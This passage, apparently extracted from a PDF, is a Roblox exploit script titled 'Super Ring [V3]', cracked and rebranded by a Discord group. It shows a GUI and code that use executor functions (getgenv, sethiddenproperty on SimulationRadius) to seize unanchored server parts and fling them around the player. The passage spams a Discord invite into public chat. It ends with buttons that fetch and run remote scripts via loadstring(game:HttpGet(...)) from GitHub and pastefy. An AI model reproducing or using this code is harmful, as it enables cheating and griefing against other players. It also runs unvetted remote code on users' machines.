RadiusDisplay.Position = UDim2.new(0.3, 0, 0.6, 0)
RadiusDisplay.Text = "Radius: 50"
RadiusDisplay.BackgroundColor3 = Color3.fromRGB(210, 180, 140) -- Tan
RadiusDisplay.TextColor3 = Color3.fromRGB(101, 67, 33) -- Dark brown
RadiusDisplay.Font = Enum.Font.Fondamento
RadiusDisplay.TextSize = 18
RadiusDisplay.Parent = MainFrame

-- Round the radius display


local RadiusCorner = Instance.new("UICorner")
RadiusCorner.CornerRadius = UDim.new(0, 10)
RadiusCorner.Parent = RadiusDisplay

local Watermark = Instance.new("TextLabel")


Watermark.Size = UDim2.new(1, 0, 0, 20)
Watermark.Position = UDim2.new(0, 0, 1, -20)
Watermark.Text = "Super Ring [V3] - Cracked By OffizJSTeam"
Watermark.TextColor3 = Color3.fromRGB(101, 67, 33) -- Dark brown
Watermark.BackgroundTransparency = 1
Watermark.Font = Enum.Font.Fondamento
Watermark.TextSize = 14
Watermark.Parent = MainFrame

-- Add minimize button


local MinimizeButton = Instance.new("TextButton")
MinimizeButton.Size = UDim2.new(0, 30, 0, 30)
MinimizeButton.Position = UDim2.new(1, -35, 0, 5)
MinimizeButton.Text = "-"
MinimizeButton.BackgroundColor3 = Color3.fromRGB(139, 69, 19) -- Saddle
brown
MinimizeButton.TextColor3 = Color3.fromRGB(255, 248, 220) -- Cornsilk
MinimizeButton.Font = Enum.Font.Fondamento
MinimizeButton.TextSize = 18
MinimizeButton.Parent = MainFrame

-- Round the minimize button


local MinimizeCorner = Instance.new("UICorner")
MinimizeCorner.CornerRadius = UDim.new(0, 15)
MinimizeCorner.Parent = MinimizeButton

-- Minimize functionality
local minimized = false
MinimizeButton.MouseButton1Click:Connect(function()
minimized = not minimized
if minimized then
MainFrame:TweenSize(UDim2.new(0, 220, 0, 40), "Out",
"Quad", 0.3, true)
MinimizeButton.Text = "+"
ToggleButton.Visible = false
DecreaseRadius.Visible = false
IncreaseRadius.Visible = false
RadiusDisplay.Visible = false
Watermark.Visible = false
else
MainFrame:TweenSize(UDim2.new(0, 220, 0, 190), "Out",
"Quad", 0.3, true)
MinimizeButton.Text = "-"
ToggleButton.Visible = true
DecreaseRadius.Visible = true
IncreaseRadius.Visible = true
RadiusDisplay.Visible = true
Watermark.Visible = true
end
playSound("12221967")
end)

-- Make GUI draggable


local dragging
local dragInput
local dragStart
local startPos

local function update(input)


local delta = input.Position - dragStart
MainFrame.Position = UDim2.new(startPos.X.Scale,
startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
end

MainFrame.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or
input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = MainFrame.Position

input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End
then
dragging = false
end
end)
end
end)

MainFrame.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or
input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)

UserInputService.InputChanged:Connect(function(input)
if input == dragInput and dragging then
update(input)
end
end)

-- Ring Parts Logic


if not getgenv().Network then
getgenv().Network = {
BaseParts = {},
Velocity = Vector3.new(14.46262424, 14.46262424,
14.46262424)
}
Network.RetainPart = function(Part)
if typeof(Part) == "Instance" and Part:IsA("BasePart") and
Part:IsDescendantOf(workspace) then
table.insert(Network.BaseParts, Part)
Part.CustomPhysicalProperties =
PhysicalProperties.new(0, 0, 0, 0, 0)
Part.CanCollide = false
end
end
local function EnablePartControl()
LocalPlayer.ReplicationFocus = workspace
RunService.Heartbeat:Connect(function()
sethiddenproperty(LocalPlayer, "SimulationRadius",
math.huge)
for _, Part in pairs(Network.BaseParts) do
if Part:IsDescendantOf(workspace) then
Part.Velocity = Network.Velocity
end
end
end)
end
EnablePartControl()
end

local radius = 50
local height = 100
local rotationSpeed = 10
local attractionStrength = 1000
local ringPartsEnabled = false

local function RetainPart(Part)


if Part:IsA("BasePart") and not Part.Anchored and
Part:IsDescendantOf(workspace) then
if Part.Parent == LocalPlayer.Character or
Part:IsDescendantOf(LocalPlayer.Character) then
return false
end

Part.CustomPhysicalProperties = PhysicalProperties.new(0,
0, 0, 0, 0)
Part.CanCollide = false
return true
end
return false
end

local parts = {}
local function addPart(part)
if RetainPart(part) then
if not table.find(parts, part) then
table.insert(parts, part)
end
end
end

local function removePart(part)


local index = table.find(parts, part)
if index then
table.remove(parts, index)
end
end

for _, part in pairs(workspace:GetDescendants()) do


addPart(part)
end

workspace.DescendantAdded:Connect(addPart)
workspace.DescendantRemoving:Connect(removePart)

RunService.Heartbeat:Connect(function()
if not ringPartsEnabled then return end
local humanoidRootPart = LocalPlayer.Character and
LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if humanoidRootPart then
local tornadoCenter = humanoidRootPart.Position
for _, part in pairs(parts) do
if part.Parent and not part.Anchored then
local pos = part.Position
local distance = (Vector3.new(pos.X,
tornadoCenter.Y, pos.Z) - tornadoCenter).Magnitude
local angle = math.atan2(pos.Z -
tornadoCenter.Z, pos.X - tornadoCenter.X)
local newAngle = angle +
math.rad(rotationSpeed)
local targetPos = Vector3.new(
tornadoCenter.X + math.cos(newAngle) *
math.min(radius, distance),
tornadoCenter.Y + (height *
(math.abs(math.sin((pos.Y - tornadoCenter.Y) / height)))),
tornadoCenter.Z + math.sin(newAngle) *
math.min(radius, distance)
)
local directionToTarget = (targetPos -
part.Position).unit
part.Velocity = directionToTarget *
attractionStrength
end
end
end
end)

-- Button functionality
ToggleButton.MouseButton1Click:Connect(function()
ringPartsEnabled = not ringPartsEnabled
ToggleButton.Text = ringPartsEnabled and "Ring Parts On" or "Ring
Parts Off"
ToggleButton.BackgroundColor3 = ringPartsEnabled and
Color3.fromRGB(50, 205, 50) or Color3.fromRGB(160, 82, 45)
playSound("12221967")
end)

DecreaseRadius.MouseButton1Click:Connect(function()
radius = math.max(10, radius - 5)
RadiusDisplay.Text = "Radius: " .. radius
playSound("12221967")
end)

IncreaseRadius.MouseButton1Click:Connect(function()
radius = math.min(100, radius + 5)
RadiusDisplay.Text = "Radius: " .. radius
playSound("12221967")
end)

-- Notifications
StarterGui:SetCore("SendNotification", {
Title = "Join me Discord !",
Text = "For More Op Scripts !",
Duration = 5
})
-- Get player thumbnail
local userId = Players:GetUserIdFromNameAsync("NannaDev")
local thumbType = Enum.ThumbnailType.HeadShot
local thumbSize = Enum.ThumbnailSize.Size420x420
local content, isReady = Players:GetUserThumbnailAsync(userId,
thumbType, thumbSize)

StarterGui:SetCore("SendNotification", {
Title = "Enjoy Super Ring [V3]",
Text = "Cracked By https://discord.com/invite/uSvStbagb2",
Icon = content,
Duration = 5
})

-- Chat message (Updated for new chat system)


local function SendChatMessage(message)
if TextChatService.ChatVersion ==
Enum.ChatVersion.TextChatService then
local textChannel = TextChatService.TextChannels.RBXGeneral
textChannel:SendAsync(message)
else

game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer(message, "All")
end
end

-- Send the chat message


SendChatMessage("join OffizJSTeam today !")
end)
end;
task.spawn(C_d);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
local function C_f()
local script = G2L["f"];
script.Parent.MouseButton1Click:Connect(function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/edgeiy/
infiniteyield/master/source'))()
end)
end;
task.spawn(C_f);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
local function C_11()
local script = G2L["11"];
script.Parent.MouseButton1Click:Connect(function()

loadstring(game:HttpGet("https://raw.githubusercontent.com/hyperionhax/
c00lgui/refs/heads/main/CoolGui.lua"))()
end)
end;
task.spawn(C_11);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
local function C_13()
local script = G2L["13"];
script.Parent.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastefy.app/YsJgITXR/raw"))()
end)
end;
task.spawn(C_13);
-- StarterGui.ScreenGui.Frame.Frame.ImageLabel.TextButton.LocalScript
local function C_15()
local script = G2L["15"];
script.Parent.MouseButton1Click:Connect(function()
loadstring(game:HttpGet('https://pastefy.app/59mJGQGe/raw'))()
end)
end;
task.spawn(C_15);

return G2L["1"], require;

You might also like